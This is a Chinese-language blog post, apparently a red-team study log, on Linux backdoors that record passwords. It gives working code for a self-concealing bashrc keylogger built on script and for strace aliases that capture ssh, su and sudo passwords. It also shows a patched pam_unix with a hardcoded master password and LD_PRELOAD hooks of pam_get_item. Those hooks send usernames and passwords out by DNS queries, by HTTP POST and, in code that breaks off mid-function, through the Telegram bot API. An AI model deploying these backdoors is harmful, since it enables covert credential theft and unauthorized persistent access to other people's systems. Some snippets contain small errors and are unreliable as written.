0x01 前言 本文在编写时参考了以下文章,本文是对以下文章的学习记录.主要记录键盘记录后门相关的实现和利用
0x02 script键盘记录后门 Bash配置文件加载顺序 当一个Linux用户正常的以交互方式启动bash 时,将会根据顺序读取以下文件的环境变量(不同shell可能不一样)
如:Debian 10的bash.
/etc/profile
-> /etc/bash.bashrc
->~/.bash_profile
(如果不存在就会依次去尝试读~/.bash_login
或者~/.profile
) ->~/.bashrc
当退出登录时 就会去读~/.bash_logout
.
而这些配置文件,是以shell语言
编写的,简而言之就是,当正常登录的时候bash会执行这些配置文件的命令,既然可以执行命令 那我们岂不是可以 搞点事情?当用户登录时执行我们的命令?
Script命令 理解了简单的bash启动流程后,来看个命令sciprt
.先来看看他的帮助手册吧:man7_script
关注一下这两段介绍:
script命令会将终端会话里的所有内容以保存成文件,可以通过部分参数来打开时间开关,如果需要通过scriptereplay来重放会话,那么计时日志是必须的参数.
如果使用–log-in或者–log-io参数可能会存在安全风险,因为会记录终端输入比如密码之类的敏感信息
诶 会记录密码啊,你说这个我就感兴趣了啊,我们来看看要怎么才能记录到我们终端输入的密码:
1 script -T time.txt -B tmp.txt
看描述–log-io相当于指定了--log-in
和 --log-out
的参数,所以尝试分别指定--log-in
和--log-out
为相同的文件 看能不能获得和--log-io
相同的效果
1 script -I test.txt -O test.txt -T time
但是文件分开记录就不行
根据man手册,我们可以知道script是在2.35版本之后引入的logstream
功能所以2.35之前的没有logstream
的功能,自然就无法用这种方法记录密码.
script各版本发布的时间:
那么问题来了,我们要怎么利用呢,还记得文章开头的bashrc
文件吗.是的,我们只需要把以下命令写入到对应用户的bashrc
文件中,每次登录bash
后就会运行.当然你也可以修改成更隐蔽一点的文件名
1 2 3 4 5 6 if [ -f /tmp/script.lock ];then rm /tmp/script.lock else echo lock > /tmp/script.lock exec script -B /tmp/test -aqf fi
这种方案的话其实很容易被发现..也很可疑.我们来看看另外一种实现
CodeHz的Bashrc-BackDoor Github:codehz /bashrc-backdoor (还有利用/dev/tcp上传记录日志文件的实现)
codehz佬的这个好处在很难被用户检测到,而且不依赖其他东西.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #!/bin/bash fakerc=~/.bаsh_login logfile=~/.bаsh_cache waitsec=1 changetime=$(stat -c %Y ~/.bashrc) read script <<EOF exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'" EOF quoted=$(printf "%q" "$script " ) print () { echo -e "$*" ; }printvar () { printf " + \e[1;32m%s\e[m = \e[4;5m%s\e[m\n" $1 "${!1} " ; }printvar fakerc printvar logfile printvar script printvar quoted print "\e[5;7m wait for \e[1m$waitsec \e[0;5;7m secs, ctrl+c to interrupt \e[m" sleep $waitsec print "installing..." cat >"$fakerc " <<EOF #将以下内容写入$fakerc文件 self=\$(cat "$fakerc") #读取fakerc的文件内容 self=\$(printf "%q" "\$self") #转义特殊字符 rm -f "$fakerc" # 删除fakerc文件,隐藏自身 sed -i "/^exec script -B/d" ~/.bashrc #将bashrc中的script记录命令删除 touch -d @$changetime ~/.bashrc #恢复修改前的时间戳 trap "echo $quoted >> ~/.bashrc && echo \$self > '$fakerc'" EXIT # 当收到EXIT信号时 执行命令:echo 转义后的$script 追加到~/.bashrc 和fakerc内容写入到fakerc文件里面 unset self #取消变量 . ~/.bashrc # 执行正确的bashrc 避免被用户发现异常 EOF echo $script >> ~/.bashrc
方法是好方法,但是我感觉有点bug,比如fakerc和logfile的a用其他编码,codehz佬说是为了避免直接被bash补全到,但是实际上使用会变成:.b'$'\320\260''sh_login'
,总感觉更加可疑了呢.
并且我这虚拟机本地复现使用 ssh登录就会这样,先是无响应一会,然后返回错误信息:
开个pspy看看它在干嘛
死循环,也许是耗尽了系统文件数后返回了 一开始的错误信息
1 script: failed to create pseudo-terminal: No such file or directory
另外上面说到有点难检测 因为,用户如果处于登录状态的话
如果sb2ywa用户退出登录的话,再来查看文件内容,截然不同了:
存在的问题:
ssh登录无法记录,暂时不知道原因是什么
由于是追加记录 如果用户活动的时间比较久 cat了很多大文件,,那么相对应的 日志文件大小会十分的大.
需要script 2.35以上
优点:
较难发现.
没有过多的依赖
有意思的命令 还记得前面的-T
参数吗 这个是用来记录时序的,如果在执行script
时带上这个参数,那我们就可以用scriptreplay
或者是scriptelive
命令来回放自己当时script操作的内容和终端输出.
1 2 3 scriptreplay -B tmp.txt -T time.txt scriptlive -t time.txt -B tmp.txt
0x03 Strace 记录密码 安装strace 1 2 apt install strace -y yum install strace -y
strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state.
System administrators, diagnosticians and trouble-shooters will find it invaluable for solving problems with programs for which the source is not readily available since they do not need to be recompiled in order to trace them.
strace 是一个集诊断、调试、统计于一体的工具,通常用来对程序的系统调用,信号传递的跟综结果对程序进行分析.而ptrace是一个Linux系统提供的一个对系统调用的拦截的一个系统调用函数.这个和本章内容关系不大 简单带过,我们只需要知道strace依赖于ptrace系统调用就行.
而我们可以通过strace获取进程的输入,自然也是依赖于ptrace,若ptrace被禁用,该攻击方式也无法使用.而yama是什么?Yama源码位于security/yama/
,它基于LSM实现,管理员可以通过/proc/sys/kernel/yama/ptrace_scope
来配置ptrace保护级别.
该项配置的详细说明:Yama
Yama is a Linux Security Module that collects system-wide DAC security protections that are not handled by the core kernel itself. This is selectable at build-time with CONFIG_SECURITY_YAMA, and can be controlled at run-time through sysctls in /proc/sys/kernel/yama:
The sysctl settings (writable only with CAP_SYS_PTRACE) are:
0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other process running under the same uid, as long as it is dumpable (i.e. did not transition uids, start privileged, or have called prctl(PR_SET_DUMPABLE…) already). Similarly, PTRACE_TRACEME is unchanged.
1 - restricted ptrace: a process must have a predefined relationship with the inferior it wants to call PTRACE_ATTACH on. By default,this relationship is that of only its descendants when the above classic criteria is also met. To change the relationship, an inferior can call prctl(PR_SET_PTRACER, debugger, …) to declare an allowed debugger PID to call PTRACE_ATTACH on the inferior. Using PTRACE_TRACEME is unchanged. 2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.
3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via PTRACE_TRACEME. Once set, this sysctl value cannot be changed.
1 2 3 4 0 classic 经典配置,可以以ptrace_attach到任何其他在同一uid下运行的进程,只要它是可转储的(比如无转换uid,没有特权,没有调用其他uid) 宽容模式 1 restricted 限制级别,一个进程只能attach他有后代(子进程) 2 admin-only 只限特权 拥有CAP_SYS_PTRACE能力的进程才可以使用ptrace 3 no attach 完全禁用,不允许任何进程执行ptrace,一旦设置为该值,就不能再更改,即使root也不行。
查看ptrace权限
1 2 3 cat /proc/sys/kernel/yama/ptrace_scope或 sysctl -a|grep ptrace
修改ptrace权限
1 2 3 4 5 6 7 echo 0 > /proc/sys/kernel/yama/ptrace_scope或 sysctl -w kernel.yama.ptrace_scope="0" && sysctl -p 直接修改/etc/sysctl.conf
strace常用参数
完整帮助手册:man:strace
1 2 3 4 5 6 7 8 9 10 11 12 -p pid 跟踪指定进程pid -s strsize 指定输出的字符串的最大长度 -o output 输出文件 -e trace=read wirte 跟踪这两个系统调用 默认为all file 文件操作相关的系统调用 process 进程控制相关的系统调用 network 网络相关的系统调用 ipc 进程通讯相关的系统调用 还有很多系统调用....需要去阅读unix高级编程等相关书籍了.. -t 在输出中的每一行前加上时间信息. -f 跟踪由fork调用所产生的子进程. -F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
方法一 strace启动进程 方法一是修改bashrc
程序的别名,使运行指定程序时自动strace系统调用,收集键盘输入
1 2 alias ssh='strace -o /tmp/sshpwd-`date ' +%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'
Su虽然能正常记录,但是会一直提示权限认证失败.如果需要正常使用的话则需要给strace添加suid权限…(是否有点…)
1 2 alias su='strace -o /tmp/supwd-`date ' +%d%h%m%s'`.log -e read,write -s 32 su' alias sudo='strace -o /tmp/sudopwd-`date ' +%d%h%m%s'`.log -e read,write -s 32 sudo'
直接在codzhz佬的脚本基础上简单改改就能获得一个在bashrc中隐藏alias的脚本(但是执行alias的话还是暴露..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #!/bin/bash fakerc=~/.bash_login logfile=~/.bash_cache waitsec=1 changetime=$(stat -c %Y ~/.bashrc) read script <<EOF exec bash --rcfile $fakerc EOF quoted=$(printf "%q" "$script " ) print () { echo -e "$*" ; }printvar () { printf " + \e[1;32m%s\e[m = \e[4;5m%s\e[m\n" $1 "${!1} " ; }printvar fakerc printvar logfile printvar script printvar quoted print "\e[5;7m wait for \e[1m$waitsec \e[0;5;7m secs, ctrl+c to interrupt \e[m" sleep $waitsec print "installing..." cat > "$fakerc " <<EOF self=\$(cat "$fakerc") self=\$(printf "%q" "\$self") rm -f "$fakerc" alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh' sed -i "/^exec bash/d" ~/.bashrc touch -d @$changetime ~/.bashrc trap "echo $quoted >> ~/.bashrc && echo \$self > '$fakerc'" EXIT unset self . ~/.bashrc EOF echo $script >> ~/.bashrc
方法二 strace 已有进程 这个操作需要root权限.
1 2 3 4 5 6 (strace -f -F -p `ps aux|grep "sshd -D" |grep -v grep|awk {'print $2' }` -t -e trace=read ,write -s 32 2> /tmp/.sshd.log &) grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
所以其实strace bash进程也是可以的…(就是数据特别多)
1 2 (strace -f -F -p `ps aux|grep '\-bash' |grep -v 'grep' |grep -v 'root' |awk {'print $2' }` -t -e trace=read ,write -s 4096 2> /tmp/.bash.log2 &)
0x04 PAM记录密码 PAM(Pluggable Authentication Modules)是Linux系统上用户对用户进行身份验证对身份验证基础结构.感觉相当于Windows的SSP.
在之前的文章,我们使用了PAM添加了一个google验证码:Linux添加Google验证 ,这次试试使用PAM添加记录密码的后门.
先来查询下pam版本
1 2 3 4 rpm -qa | grep pam dpkg -l | grep pam
替换pam_unix.so 感觉在实战中,这个相当的受限..
手动编译替换 下载系统对应的PAM版本源码并解压
1 2 3 tar xzf v1.4.0.tar.gz cd linux-pam-1.4.0/modules/pam_unix/ vim pam_unix_auth.c
可以在这里修改认证逻辑,改成使用万能密码的后门,或是记录密码的功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (strcmp ("atsud0" , p) == 0 ){ return PAM_SUCCESS; } if (retval == PAM_SUCCESS){ FILE * fp; fp = fopen("/tmp/.pass.log" , "a" ); fprintf (fp, "username: %s , password: %s \n" , name, p); fclose(fp); } name = p = NULL ; AUTH_RETURN;
安装依赖
1 2 3 4 5 6 apt install automake pkg-config make #提示yacc command not found apt install bison apt install byacc
编译
1 2 3 4 cd linux-pam-1.4.0./autogen.sh ./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr make
编译好的在/linux-pam-1.4.0/modules/pam_unix/.libs/
下
系统不同位数不同pam_unix.so路径也不一样,可以使用find命令去寻找.备份原pam_unix.so后替换即可.
1 find / -name "pam_unix.so"
替换后,使用”atsud0”即可登录系统.同时用户的密码也能记录在/tmp/.pass.log:
若目标系统不存在编译的环境,我们可以自己在外部系统上编译后上传.
修改时间戳
1 touch pam_unix.so -r pam_issue.so
脚本一键编译 使用9bie大佬的改过的脚本:9bie/linux-pam-backdoor
这里指定版本后,会去PAM-SourceCode-Library 中对应版本的源码 然后下载回来编译..不过我环境是1.4.0,,好像这里替换成1.3.0之后也没什么影响??(但是还是建议尽量保持一致)
1 ./backdoor.sh -m save -v 1.3.0 -o /tmp/save.txt
除了可以记录密码,也可以实现万能密码登录.
PAM和LD_PRELOAD劫持结合DNS带外发送密码 这里简单介绍下LD_PRELOAD
.LD_PRELOAD
其实是动态链接的一个环境变量。而动态链接器则是:
动态链接器是操作系统的一部分,负责按照可执行程序 运行时 的需要装入与链接共享库 。装入是指把共享库在永久存储上的内容复制到内存,链接是指填充跳转表(jump table)与重定位指针。
当程序需要使用动态链接库里的函数时,由ld.so复制加载. 它会先去根据以下顺序去搜索并加载
加载环境变量LD_PRELOAD指定的动态库
加载文件/etc/ld.so.preload指定的动态库
搜索环境变量LD_LIBRARY_PATH指定的动态库搜索路径
搜索路径/lib64下的动态库文件
注意:ld.so.conf 是编译程序时找链接库的配置文件
了解完了动态链接的加载顺序, 那么我们再接着来了解一个pam_get_item函数.
The pam_get_item function allows applications and PAM servicemodules to access and retrieve PAM informations of item_type.
Upon successful return, item contains a pointer to the value of the corresponding item. Note, this is a pointer to the actual data and should not be free()’ed or over-written! The following values are supported for item_type
Pam_get_item是让应用和pam模块去获取pam信息的,当item_type定义为pam_authok时,将会使用pam_sm_authenticate
和 pam_sm_chauthtok
去传递身份令牌。
而pam_get_user是用来获取用户名的。
If a service module wishes to obtain the name of the user, it hould not use this function, but instead perform a call to pam_get_user(3). Only a service module is privileged to read the authentication tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.
并且只有服务模块的时候才可以读取认证凭据。
所以我们可以通过劫持pam_get_item来收集凭据。
DNS部分代码来自: https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168
PAM_get_item劫持部分代码来自: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <unistd.h> #include <security/pam_modules.h> #include <security/pam_ext.h> #include <security/pam_modutil.h> #include <sys/types.h> #include <dlfcn.h> #include <sys/stat.h> #include <signal.h> char dns_servers[10 ][100 ];int dns_server_count = 0 ;#define T_A 1 #define T_NS 2 #define T_CNAME 5 #define T_SOA 6 #define T_PTR 12 #define T_MX 15 void ngethostbyname (unsigned char * , int ) ;void ChangetoDnsNameFormat (unsigned char *,unsigned char *) ;unsigned char * ReadName (unsigned char *,unsigned char *,int *) ;void get_dns_servers () ;struct DNS_HEADER { unsigned short id; unsigned char rd :1 ; unsigned char tc :1 ; unsigned char aa :1 ; unsigned char opcode :4 ; unsigned char qr :1 ; unsigned char rcode :4 ; unsigned char cd :1 ; unsigned char ad :1 ; unsigned char z :1 ; unsigned char ra :1 ; unsigned short q_count; unsigned short ans_count; unsigned short auth_count; unsigned short add_count; }; struct QUESTION { unsigned short qtype; unsigned short qclass; }; #pragma pack(push, 1) struct R_DATA { unsigned short type; unsigned short _class; unsigned int ttl; unsigned short data_len; }; #pragma pack(pop) struct RES_RECORD { unsigned char *name; struct R_DATA *resource ; unsigned char *rdata; }; typedef struct { unsigned char *name; struct QUESTION *ques ; } QUERY; int main ( int argc , char *argv[]) { unsigned char hostname[100 ]; get_dns_servers(); printf ("Enter Hostname to Lookup : " ); scanf ("%s" , hostname); ngethostbyname(hostname , T_A); return 0 ; } void ngethostbyname (unsigned char *host , int query_type) { unsigned char buf[65536 ],*qname,*reader; int i , j , stop , s; struct sockaddr_in a ; struct RES_RECORD answers [20],auth [20],addit [20]; struct sockaddr_in dest ; struct DNS_HEADER *dns = NULL ; struct QUESTION *qinfo = NULL ; printf ("Resolving %s" , host); s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); dest.sin_family = AF_INET; dest.sin_port = htons(53 ); dest.sin_addr.s_addr = inet_addr(dns_servers[0 ]); dns = (struct DNS_HEADER *)&buf; dns->id = (unsigned short ) htons(getpid()); dns->qr = 0 ; dns->opcode = 0 ; dns->aa = 0 ; dns->tc = 0 ; dns->rd = 1 ; dns->ra = 0 ; dns->z = 0 ; dns->ad = 0 ; dns->cd = 0 ; dns->rcode = 0 ; dns->q_count = htons(1 ); dns->ans_count = 0 ; dns->auth_count = 0 ; dns->add_count = 0 ; qname =(unsigned char *)&buf[sizeof (struct DNS_HEADER)]; ChangetoDnsNameFormat(qname , host); qinfo =(struct QUESTION*)&buf[sizeof (struct DNS_HEADER) + (strlen ((const char *)qname) + 1 )]; qinfo->qtype = htons( query_type ); qinfo->qclass = htons(1 ); printf ("\nSending Packet..." ); if ( sendto(s,(char *)buf,sizeof (struct DNS_HEADER) + (strlen ((const char *)qname)+1 ) + sizeof (struct QUESTION),0 ,(struct sockaddr*)&dest,sizeof (dest)) < 0 ) { perror("sendto failed" ); } printf ("Done" ); i = sizeof dest; printf ("\nReceiving answer..." ); if (recvfrom (s,(char *)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t *)&i ) < 0 ) { perror("recvfrom failed" ); } printf ("Done" ); dns = (struct DNS_HEADER*) buf; reader = &buf[sizeof (struct DNS_HEADER) + (strlen ((const char *)qname)+1 ) + sizeof (struct QUESTION)]; printf ("\nThe response contains : " ); printf ("\n %d Questions." ,ntohs(dns->q_count)); printf ("\n %d Answers." ,ntohs(dns->ans_count)); printf ("\n %d Authoritative Servers." ,ntohs(dns->auth_count)); printf ("\n %d Additional records.\n\n" ,ntohs(dns->add_count)); stop=0 ; for (i=0 ;i<ntohs(dns->ans_count);i++) { answers[i].name=ReadName(reader,buf,&stop); reader = reader + stop; answers[i].resource = (struct R_DATA*)(reader); reader = reader + sizeof (struct R_DATA); if (ntohs(answers[i].resource->type) == 1 ) { answers[i].rdata = (unsigned char *)malloc (ntohs(answers[i].resource->data_len)); for (j=0 ; j<ntohs(answers[i].resource->data_len) ; j++) { answers[i].rdata[j]=reader[j]; } answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0' ; reader = reader + ntohs(answers[i].resource->data_len); } else { answers[i].rdata = ReadName(reader,buf,&stop); reader = reader + stop; } } for (i=0 ;i<ntohs(dns->auth_count);i++) { auth[i].name=ReadName(reader,buf,&stop); reader+=stop; auth[i].resource=(struct R_DATA*)(reader); reader+=sizeof (struct R_DATA); auth[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } for (i=0 ;i<ntohs(dns->add_count);i++) { addit[i].name=ReadName(reader,buf,&stop); reader+=stop; addit[i].resource=(struct R_DATA*)(reader); reader+=sizeof (struct R_DATA); if (ntohs(addit[i].resource->type)==1 ) { addit[i].rdata = (unsigned char *)malloc (ntohs(addit[i].resource->data_len)); for (j=0 ;j<ntohs(addit[i].resource->data_len);j++) addit[i].rdata[j]=reader[j]; addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0' ; reader+=ntohs(addit[i].resource->data_len); } else { addit[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } } printf ("\nAnswer Records : %d \n" , ntohs(dns->ans_count) ); for (i=0 ; i < ntohs(dns->ans_count) ; i++) { printf ("Name : %s " ,answers[i].name); if ( ntohs(answers[i].resource->type) == T_A) { long *p; p=(long *)answers[i].rdata; a.sin_addr.s_addr=(*p); printf ("has IPv4 address : %s" ,inet_ntoa(a.sin_addr)); } if (ntohs(answers[i].resource->type)==5 ) { printf ("has alias name : %s" ,answers[i].rdata); } printf ("\n" ); } printf ("\nAuthoritive Records : %d \n" , ntohs(dns->auth_count) ); for ( i=0 ; i < ntohs(dns->auth_count) ; i++) { printf ("Name : %s " ,auth[i].name); if (ntohs(auth[i].resource->type)==2 ) { printf ("has nameserver : %s" ,auth[i].rdata); } printf ("\n" ); } printf ("\nAdditional Records : %d \n" , ntohs(dns->add_count) ); for (i=0 ; i < ntohs(dns->add_count) ; i++) { printf ("Name : %s " ,addit[i].name); if (ntohs(addit[i].resource->type)==1 ) { long *p; p=(long *)addit[i].rdata; a.sin_addr.s_addr=(*p); printf ("has IPv4 address : %s" ,inet_ntoa(a.sin_addr)); } printf ("\n" ); } return ; } u_char* ReadName (unsigned char * reader,unsigned char * buffer,int * count) { unsigned char *name; unsigned int p=0 ,jumped=0 ,offset; int i , j; *count = 1 ; name = (unsigned char *)malloc (256 ); name[0 ]='\0' ; while (*reader!=0 ) { if (*reader>=192 ) { offset = (*reader)*256 + *(reader+1 ) - 49152 ; reader = buffer + offset - 1 ; jumped = 1 ; } else { name[p++]=*reader; } reader = reader+1 ; if (jumped==0 ) { *count = *count + 1 ; } } name[p]='\0' ; if (jumped==1 ) { *count = *count + 1 ; } for (i=0 ;i<(int )strlen ((const char *)name);i++) { p=name[i]; for (j=0 ;j<(int )p;j++) { name[i]=name[i+1 ]; i=i+1 ; } name[i]='.' ; } name[i-1 ]='\0' ; return name; } void get_dns_servers () { FILE *fp; char line[200 ] , *p; if ((fp = fopen("/etc/resolv.conf" , "r" )) == NULL ) { printf ("Failed opening /etc/resolv.conf file \n" ); } while (fgets(line , 200 , fp)) { if (line[0 ] == '#' ) { continue ; } if (strncmp (line , "nameserver" , 10 ) == 0 ) { p = strtok(line , " " ); p = strtok(NULL , " " ); } } strcpy (dns_servers[0 ] , "208.67.222.222" ); strcpy (dns_servers[1 ] , "208.67.220.220" ); } void ChangetoDnsNameFormat (unsigned char * dns,unsigned char * host) { int lock = 0 , i; strcat ((char *)host,"." ); for (i = 0 ; i < strlen ((char *)host) ; i++) { if (host[i]=='.' ) { *dns++ = i-lock; for (;lock<i;lock++) { *dns++=host[lock]; } lock++; } } *dns++='\0' ; } typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item) ;int pam_get_item (const pam_handle_t *pamh, int item_type, const void **item) { int retval; int pid; const char *name; orig_ftype orig_pam; orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item" ); retval = orig_pam(pamh, item_type, item); if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL ) { unsigned char hostname[256 ]; get_dns_servers(); pam_get_user((pam_handle_t *)pamh, &name, NULL ); snprintf (hostname, sizeof (hostname), "%s.%s.你的.dnslog.cn" , name, *item); if (fork() == 0 ) { ngethostbyname(hostname, T_A); } } return retval; }
1 2 3 4 5 6 7 8 9 10 apt install libpam0g-dev gcc -fPIC -sharded pam_dns.c -o test.so pkill sshd export LD_PRELOAD=/root/test.so /usr/sbin/sshd -D & unset LD_PRELOAD
稍微改改源码就能实现记录本地密码的方式了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item); int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) { int retval; int pid; const char *name; orig_ftype orig_pam; orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item"); // Call original function so we log password retval = orig_pam(pamh, item_type, item); // Log credential if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) { get_dns_servers(); pam_get_user((pam_handle_t *)pamh, &name, NULL); FILE *fp; fp = open("/tmp/.pam.log", "a"); fprintf(fp,"username:%s,password:%s\n",name,*item); fclose(fp); } return retval; }
简单改改实现的http发送(Demo 后续有空学学C再来优化)(搞不明白为什么curl不行):
http实现部分来自csdn c实现post请求 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/socket.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/time.h> #include <netinet/in.h> #include <errno.h> #include <unistd.h> #include <time.h> #include <security/pam_modules.h> #include <security/pam_ext.h> #include <security/pam_modutil.h> #include <security/pam_appl.h> #include <dlfcn.h> #include <signal.h> #include <curl/curl.h> #define IPSTR "10.1.1.11" #define PORT 80 #define BUFSIZE 1024 size_t write_data (void *buffer, size_t size, size_t nmemb, void *userp) { return size * nmemb; } void sendHttp (char (*messgae)[]) { int sockfd, ret, i, h; struct sockaddr_in servaddr ; char str1[4096 ],str2[4096 ],buf[BUFSIZE],*str; socklen_t len; fd_set t_set1; struct timeval tv ; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0 )) < 0 ) { printf ("socket error!\n" ); exit (0 ); }; bzero(&servaddr, sizeof (servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(PORT); if (inet_pton(AF_INET, IPSTR, &servaddr.sin_addr) <= 0 ){ printf ("inet_pton error!\n" ); exit (0 ); }; if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof (servaddr)) < 0 ){ printf ("connect error!\n" ); exit (0 ); } printf ("connected\n" ); memset (str2, 0 , 4096 ); strcat (str2, *messgae); str=(char *)malloc (128 ); len = strlen (str2); sprintf (str, "%d" , len); memset (str1, 0 , 4096 ); strcat (str1, "POST /webservices/qqOnlineWebService.asmx/qqCheckOnline HTTP/1.1\n" ); strcat (str1, "Host: 10.1.1.10\n" ); strcat (str1, "Content-Type: application/x-www-form-urlencoded\n" ); strcat (str1, "Content-Length: " ); strcat (str1, str); strcat (str1, "\n\n" ); strcat (str1, str2); strcat (str1, "\r\n\r\n" ); printf ("%s\n" ,str1); ret = write(sockfd,str1,strlen (str1)); if (ret < 0 ) { printf ("send failed,fail code : %d,message : '%s'\n" ,errno, strerror(errno)); exit (0 ); } FD_ZERO(&t_set1); FD_SET(sockfd, &t_set1); close(sockfd); } typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item) ;int pam_get_item (const pam_handle_t *pamh, int item_type, const void **item) { int retval; int pid; const char *name; orig_ftype orig_pam; orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item" ); retval = orig_pam(pamh, item_type, item); if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL ) { unsigned char hostname[256 ]; char message[1024 ]; pam_get_user((pam_handle_t *)pamh, &name, NULL ); gethostname(hostname,sizeof hostname); snprintf (message,2048 , "Hostname: %s\n Username: %s \n Password: %s \n" , hostname, name, *item); sendHttp(&message); } return retval; }
这种方式的优点在于不需要去修改认证文件。。而且这里我们是否可以修改成反弹shell呢?
sshLooterC 这个方式其实是修改/etc/pam.d/common-auth
实现认证时调用恶意的so文件,然后会将内容发送到远端服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 #include <stdio.h> #include <stdlib.h> #include <curl/curl.h> #include <string.h> #include <security/pam_appl.h> #include <security/pam_modules.h> #include <unistd.h> size_t write_data (void *buffer, size_t size, size_t nmemb, void *userp) { return size * nmemb; } void sendMessage (char (*message)[]) { char url[500 ]; char data[200 ]; char token[200 ] = "BOT TOKEN" ; int user_id = 1111111 ; snprintf (url,600 ,"https://api.telegram.org/bot%s/sendMessage" ,token); snprintf (data,300 ,"chat_id=%d&text=%s" ,user_id,*message); CURL *curl; curl_global_init(CURL_GLOBAL_ALL); curl = curl_easy_init(); if (curl) { curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); curl_easy_perform(curl); } curl_global_cleanup(); } PAM_EXTERN int pam_sm_setcred ( pam_handle_t *pamh, int flags, int argc, const char **argv ) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_authenticate ( pam_handle_t *pamh, int flags,int argc, const char **argv ) { int retval; const char * username; const char * password; char message[1024 ]; char hostname[128 ]; retval = pam_get_user(pamh, &username, "Username: " 